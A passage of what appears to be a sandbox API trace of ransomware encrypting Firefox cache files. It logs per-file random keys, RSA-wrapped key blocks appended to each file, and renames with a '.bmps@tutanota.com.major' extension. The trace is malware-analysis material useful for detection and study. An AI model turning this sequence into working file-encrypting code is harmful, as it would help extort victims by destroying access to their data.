nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0276.098] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0276.098] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0276.099] CloseHandle (hObject=0x1b84) returned 1 [0276.102] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47005A21A17AFE54769573B5138702C9FB8E0E87" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47005a21a17afe54769573b5138702c9fb8e0e87"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47005A21A17AFE54769573B5138702C9FB8E0E87.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47005a21a17afe54769573b5138702c9fb8e0e87.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0276.104] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0276.104] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\46DBA23158169F447D071A5138BFF6E70402F9D1", dwFileAttributes=0x80) returned 1 [0276.105] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe9d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe9d, lpOverlapped=0x0) returned 1 [0276.134] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0276.134] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0xe9d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe9d, lpOverlapped=0x0) returned 1 [0276.135] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe9d [0276.135] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0276.135] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0276.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0276.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0276.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0276.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="q7V+qu63umdTYBWJC7rzgv8kBQZZi0/6P2CVJRBOXQ2nBEg1QSqaxMhF0lGnYBg7\n485ROdlT/ulGIAgD3jiV+hLN5+OQsPQvLCGhQ3clGQM9e5tuaxtWLO1OuXjS/Ke4\nmSJjftBvmXMERjpahwQf2MWuhkG62nwJz3F2v9nIN2XuABVNvKda0PizTdxvT/Xy\n4Tr2Do3u4X7fmlKiIhZz3tUM31uLbopTRrEt8l9mwoq6vUlbjoALCrW7La75Tae3\ndj4WNHncTfCtXwWiO/Ws5x/09fuBsfiMA9shmt7QdkobmfZoQNCMakPbybTsgE59\nTJijirVJe7HDxnlBU/4bTg==\n", pcchString=0x2e3f9a8) returned 1 [0276.136] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0276.136] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0276.136] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0276.136] CloseHandle (hObject=0x1b84) returned 1 [0276.137] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\46DBA23158169F447D071A5138BFF6E70402F9D1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\46dba23158169f447d071a5138bff6e70402f9d1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\46DBA23158169F447D071A5138BFF6E70402F9D1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\46dba23158169f447d071a5138bff6e70402f9d1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0276.791] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0276.791] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45C64E5C2E9809667C5FC9F06FC42641326DF768", dwFileAttributes=0x80) returned 1 [0276.791] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4c2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4c2, lpOverlapped=0x0) returned 1 [0278.166] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0278.166] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4c2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4c2, lpOverlapped=0x0) returned 1 [0278.167] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4c2 [0278.167] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0278.167] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0278.167] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0278.167] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0278.168] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0278.168] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6LJRhZtfjIsWvaLq/MdvK5pSK6cQo3k9i299phwjxnwCyf621j08mhRjyPTLhd2T\nlByjTjmn6DUWjmqRUIu0jqiRfbf3KqhIDlq190gEAYx1OXQqkEoyIglTTb3QqTov\nK544S7tUrUNRn17xZQs4M9P6nmjl8RAsHQIeB70b3Z7LiL7IB/e6lNnr59szJzJG\nP5KjhwCPjbJPq2KSoa9+f33EbYt7VKfuYiiGJpniyHYNtxNQWPfMvEtjikMqhzPf\nct8v0RFcfgsvrcZnO6eNRE86fjccyllPaiS1yqKEJnlWqJDTTANdNC1oEmDQy1HP\nE4Om0J8lD3rG+lU7oSxLQA==\n", pcchString=0x2e3f9a8) returned 1 [0278.168] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0278.168] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0278.168] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0278.169] CloseHandle (hObject=0x1b84) returned 1 [0278.169] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45C64E5C2E9809667C5FC9F06FC42641326DF768" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45c64e5c2e9809667c5fc9f06fc42641326df768"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45C64E5C2E9809667C5FC9F06FC42641326DF768.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45c64e5c2e9809667c5fc9f06fc42641326df768.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0278.285] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0278.285] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45461427D6D9EC3BD8D179493325388E78C31FA4", dwFileAttributes=0x80) returned 1 [0278.285] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0279.681] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.681] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a170*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a170*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0279.682] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1139 [0279.682] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0279.682] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0279.683] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0279.683] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0279.683] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0279.684] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eITsP4u4WyEvXSaMylgK9osy0RT/ZXVS9Zfdh+l6ksIpy1UEEVguYZcOsuxN77nk\n5YsbGbXuzUxOWle0FX5rnrpzmsfJeoNKsbCG7uN6d9ew1QL2hqr1CqThShxPUVMf\n4tXrWg8nUe3ZkA0xN04w+tM/DOpzafreHY+ZRR4p+bCO9EBS6agh1xKq58Rg/Hpc\nk6Jch/DvriDKO5EDS9ZiWKhm/iP4Dw7MZzLif+ZvqWzT6Lzsvoo2ABlo+zU0QlVS\nPdSggXkPXt6d+rrxOHHVW8mwoIBquhkWF+EKVpZkgArX8QKqridy1OZ7YRSEMD8R\nCa35cchxxNjQJqNTeXeDrw==\n", pcchString=0x2e3f9a8) returned 1 [0279.684] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0279.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0279.684] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0279.684] CloseHandle (hObject=0x1b84) returned 1 [0279.685] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45461427D6D9EC3BD8D179493325388E78C31FA4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45461427d6d9ec3bd8d179493325388e78c31fa4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\45461427D6D9EC3BD8D179493325388E78C31FA4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\45461427d6d9ec3bd8d179493325388e78c31fa4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0279.793] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0279.793] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\445E695F447CA967C4DAE00C80034130290F80EA", dwFileAttributes=0x80) returned 1 [0279.793] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0279.898] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.898] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0279.899] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfc [0279.899] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0279.899] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0279.899] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0279.899] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0279.900] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0279.900] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dsDszkJ0Sxqq3xUtsfycRaRyZI9tKUrLLl9kai4FrG0ozk/tV7hSQIU+IBGDPoGZ\nSygXMMTtTBDPuSh0jCFfPRZkz5+qy/4rgq0A6vT/Lb7dze3mbLbkIAQb2CuTnljW\nHGDXHJSqzXc9MmCsvU/pdOOMaqSknKpDtpLrPR+b6tIkYAtarbWnnrJNBK8kHSO1\nXyvzYNKWmUbUzHuTmtblU4+EEVbRY48d2BomAyOsCV7Pnr3uUYVEshQrGXfH/Jkq\nMxjuPL/maQSEEQ0kJS6NSYRr63V+fvGQVVybLMU9/HkNKHuaDlxQgqqkPKZfAq/p\nyE1wGcPgGq5mXSIS7uCGOA==\n", pcchString=0x2e3f9a8) returned 1 [0279.900] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0279.900] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0279.900] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0279.900] CloseHandle (hObject=0x1b84) returned 1 [0279.900] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\445E695F447CA967C4DAE00C80034130290F80EA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\445e695f447ca967c4dae00c80034130290f80ea"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\445E695F447CA967C4DAE00C80034130290F80EA.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\445e695f447ca967c4dae00c80034130290f80ea.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0279.902] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0279.902] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\44437BAE601C72F5ED96953EAE92C527D4C2D46F", dwFileAttributes=0x80) returned 1 [0279.903] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x119f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x119f, lpOverlapped=0x0) returned 1 [0280.075] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.075] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3a1d0*, nNumberOfBytesToWrite=0x119f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x119f, lpOverlapped=0x0) returned 1 [0280.076] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x119f [0280.076] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.076] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.077] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.077] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0280.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7hN92rp/DnHO3Qn/nObsgMZihqHKsom1fOEdslyT5aJv5yJnakNaQ3TuV/hU7wdL\nlNOamwu/P9M4gJzTvCEXr7BNE7lMHbcEjppDY6NMs1vQvgZlTbrQg12IqmQ04nbV\n9F8BpMJmSgBkgpY1H2GrrLKvDhJeSVTM0Ohvf7pGzs+RvAMAwsX146XPtp+ympGL\nHh0NV8kOnaaXeA69f1ceJYvxu/sbKN9JQ9RZbdLssIfDqgDXC3KEsj2UXS8q9v8P\nJYyw0rwDGHYG7aMIe3rLAgco4bbU/VdIlyltouMFE3T1Ctfn0kxOwdjMcTrtgkv8\nAUP5wd/JUbO0mBHs847uZA==\n", pcchString=0x2e3f9a8) returned 1 [0280.078] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0280.078] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.078] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.078] CloseHandle (hObject=0x1b84) returned 1 [0280.078] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\44437BAE601C72F5ED96953EAE92C527D4C2D46F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\44437bae601c72f5ed96953eae92c527d4c2d46f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\44437BAE601C72F5ED96953EAE92C527D4C2D46F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\44437bae601c72f5ed96953eae92c527d4c2d46f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0280.082] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0280.082] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\43A641B524487AFDAC7A8AF548EE196228BF6EAE", dwFileAttributes=0x80) returned 1 [0280.083] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xf2d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xf2d, lpOverlapped=0x0) returned 1 [0280.084] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.084] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0xf2d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf2d, lpOverlapped=0x0) returned 1 [0280.085] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf2d [0280.085] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0280.085] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0280.086] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0280.086] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0280.086] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, 